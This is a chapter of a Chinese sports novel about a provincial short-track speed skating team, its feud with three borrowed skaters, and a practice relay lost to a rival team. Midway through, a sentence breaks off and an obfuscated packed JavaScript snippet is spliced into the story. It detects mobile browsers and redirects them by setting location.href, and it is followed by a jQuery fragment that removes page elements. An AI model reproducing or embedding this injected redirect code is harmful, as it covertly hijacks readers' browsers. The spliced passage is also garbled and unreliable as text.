“这三位是借调到我们L队的女队选手,罗亚青、徐媛和张雅洁,这段时间会和大家一起训练。”刚下车到达杨教练就给了大家一个特大冲击。
此时此刻,这三位同样穿着L队队服的队友,却比对手还要有压力,因为她们抢占的是代越她们参加比赛的名额。
住宿是在冰场场馆附近的一个学校宿舍,八人间,代越四人加上新来的三位,都住一间。
瞬间形成了两个小团体,白慧荣她们围在代越身边,小声说着话,眼神时不时看向另一边,但又故意不去聊她们。
那三个人也说着N省的气候,风大,口音带着明显的大碴子味。
东西收拾好,又去食堂吃了口饭,中午睡了一会儿,下午就去冰场了,在这期间,两个小团体之间还是没有说过一句话。
代越弯着腰把冰鞋的鞋带系紧,L队的队服是蓝色的,是那种天空一样的浅蓝色。
她第一次来这种正规的冰场训练,这个场馆比想象中要大好多,比起室外的冰面,这里没有风,滑起来更舒服,比起商场里那个小冰场,这里温度也更底一点,冰面更硬,蹬滑起来不费力,感觉就是能出成绩的样子。
“徐媛,你先领滑,代越,你跟着,交错开来,跟滑动作路线要一致啊!”教练安排训练方式。
“跟滑,跟滑,白慧荣你离张雅洁那么远干嘛?”
“曹悦再弯点腰!”
“代越把你路线锁住!”
场馆里回荡着教练的喊声,基本上都是对代越他们四个人的。
代越滑动看着自己前方徐媛的背影,她的领滑速度并不快,但很均匀,直道偶尔会模拟一下路线变化,入弯时又会迅速调整到最佳线路。
跟在她身后滑,代越不得不说,很舒服。
双人配合滑行也换了搭档,代越和徐媛一组,白慧荣和张雅洁,罗亚青带着曹悦和张馨月。
矛盾就在分组后不久吵在了明面上。
是罗亚青她们那组吵起来的。
“你懂不懂交替领滑啊!”
“你自己超越不过来,怪我咯!”
“你把速度提那么快,怎么超越!”
“你两别吵了,你俩都有错行了吧。”
“说的好像你一点问题没有,刚才要不是你用手扒拉我,我能滑倒吗?受伤了你能赔的起吗?”
“不是你先踢我刀我才碰到你的吗?这么矫情你配玩短道速滑吗!”
“我再怎么样也比你们配,就你们那水平,参加比赛都是浪费时间,趁早放弃吧。”
“就你们成绩好,在你们那呆着呗,来我们N省干嘛,欢迎你了吗!”
“还不是你们太弱,求着我们来的。”
话吵到这个份上,来劝架的代越她们心里都不怎么舒服了。
“有什么不爽的,就比一场,冰面上实力说了算。”代越提议到,毕竟接下来还要一起训练,一起参加比赛,教练虽然一直没说,但是她猜到,接力比赛也是要一起上的,别把矛盾留到关键时候。
大家都同意,都憋着一股劲想找回场子。
然而被教练和止住了,“比什么赛,谁允许你们私下比赛的!训练时间不好好训练,还敢吵架,一个一个的,都爱滑是吧,排队去滑三百圈去,每圈都给我滑8秒5内去!我会掐着表的”
两百圈的慢滑技术滑对于代越她们来说,还是很轻松的,但是加上配速就很累了,要一直顶着滑,不能慢下来。
代越离开冰场的时候感觉头都是懵懵的,视线感觉看什么都是一片白,有种看见冰就想吐的感觉,然后在梦里真的吐了。
吐完还要继续看,因为根本醒不过来,脑海中不停的回放着徐媛滑冰的姿势,代越能感觉出来她是三个人当中最强的,有着很明显的东北系短道速滑风格,极致低重心、贴冰滑行,超越的时候几乎是贴着前面的人,一点也不怕碰撞。
代越努力吸收着别人的优点,一点一点揉进自己的技术里。
——
周末代越背着包刚走进冰场,就看到白慧荣她们都站在冰场边上,气呼呼的,冰上有一队穿着绿色队服的人在训练。
“这是什么情况?”代越问。
白慧荣回答,“H队的,约的冰场训练时间是在咱们前头,但是有事来晚了,训练没结束,想让咱们往后移一下,教练去跟沟通了。”
“大概率是要让了,毕竟这是人家H市主场。”徐媛站到代越另一边,她两虽然说话少,但和其他人之间比起来还算友好。
过了几分钟,教练沟通的结果是,一起练,轮流滑,交流交流技术,顺便看看对方接力水平。
三月份,这可是她们的直接对手。
杨教练也有自己的用意,他没让代越、徐媛和白慧荣上场,反而是前两天吵起架的三个人和平时话也不怎么说的张雅洁,四个人打配合。
“你们三商量安排她们的上场顺序和战术!我不参与。”教练挑挑眉,提出这么一个方法,“输了的话全队写检讨。”
三人只能点点头。
女子三千米接力,在短道速滑里,四个人参加的接力,每个人滑的距离却不是平均分下来的那一点,前一个人滑的时候,下一个就要在内圈跟滑,既要维持接力的速度不掉下来,又要保证接力的流畅度,外圈如果有超越行为,那内圈也要第一时间反应过来,不然就有可能漏棒。
规则里除了最后两圈必须由同一个人滑完,其他时间什么时候任何直道都可以交接棒。
代越她们接受的主流棒次是,一棒作为起跑棒抢内道、占好位、稳节奏,二棒作为过渡棒稳速度、控节奏、跟住领滑、找超越窗口,三棒作为超越棒需要在中后程发力、实现超越、建立或者扩大优势,四棒是冲刺棒最后3圈交接后,独自滑完最后2圈冲刺。
“罗亚青滑第一棒吧,她起跑很快,能占住位置。”徐媛了解的更多。
白慧荣想说张馨月起跑也不差,但想到罗亚青比张馨月大一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345283|199521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圈的体格,好像确实她抢位置更合适。
“那就冲刺让曹悦来,她体能最好。”她不甘示弱的说。
“二三棒让张馨月和张雅洁交替着来吧,都是超越位。”代越提议,而且教练不是想练默契吗?交错开才有效果。
四人站在起跑点的时候,代越也在观察H市的队员,见H队的教练频频和冰场围挡外的一位选手说话,不难猜出来两位教练的想法怕是撞了,对方队伍也没有拿出最强的实力。
比赛开始,滑行,交替,滑行,交替,L队暂时排在前面,H队也没有拉开距离,紧紧贴着。
又是一段滑行,是第二棒的张馨月,奋力的蹬腿,但H队似乎这一棒更游刃有余一些,他没有急着超越,反而在出弯的一瞬间,卡着交接棒的前夕,内道插过去了。
与此同时H队的三棒进场,从距离位置上看,卡在了张馨月和张雅洁中间,时间很短暂,但是L队的交接直接被打断了。
又因为H队的交接处于张馨月的斜前方,交替下场的二棒也没有对L队形成阻拦,所以是规则范围内允许的。
更糟糕的是,张馨月已经双手伸直做好了推下一棒的准备,在这种影响下,整个人身体失衡,从侧面摔了出去。
“完蛋!”大家心里都这么想。
张雅洁第一时间回身朝张馨月冲过去,在她手还没有放下来的时候拍上去,交接完成,尽管这短短几秒钟,H队已经进了下一个弯道。
冰场上只要能站起来就不会轻易放弃,张雅洁用力提速追赶,场上选手的速度几乎已经提到了最快,但在代越她们这些旁观者眼里,能够明显感觉出来,距离在被一点点拉近。
张馨月也爬起来了,四人都在拼命追赶,这一刻心拧成了一股绳,顾不得别的。
最后两圈,到了曹悦,曹悦是她们当中年龄最大的,据说小时候踢过女足,跑一个小时不带喘的,这个时候背在后腰的手也已经攥紧了,蹬腿的时候冰刀在冰面上留下一道深深的痕迹。
快到终点了,最后一个弯道出弯,前后两个人紧紧贴着,已经没有机会拉外道了,只能试图从内道切过去,加一刀,可惜被发现了,H队双腿分开,大面积锁住内道,都不行,那就努力伸腿!
最后,过线!
——
“虽然最终还是没有赢下比赛,但是大家都拼搏出了竞技体育的精神,同时也更加团结了。但也发现了在接力方面,我们的队伍存在战术研究不够,默契程度不足的问题。后续训练中,我们还应该在这方面下功夫。”
代越在检讨中最后一段这么写。
这局比赛的关键输点在张馨月和张雅洁的交接棒上,两人很内疚,比赛结束了都还在一起加练,另外两人索性也陪着。
最后变成了教练指导一起练习接力战术,代越看到教练故作严肃但没忍住勾起的嘴角,觉得人家能当教练还是有实力的,队内矛盾最好的解决方式就是转移到对外矛盾,没什么是一场接力解决不了的。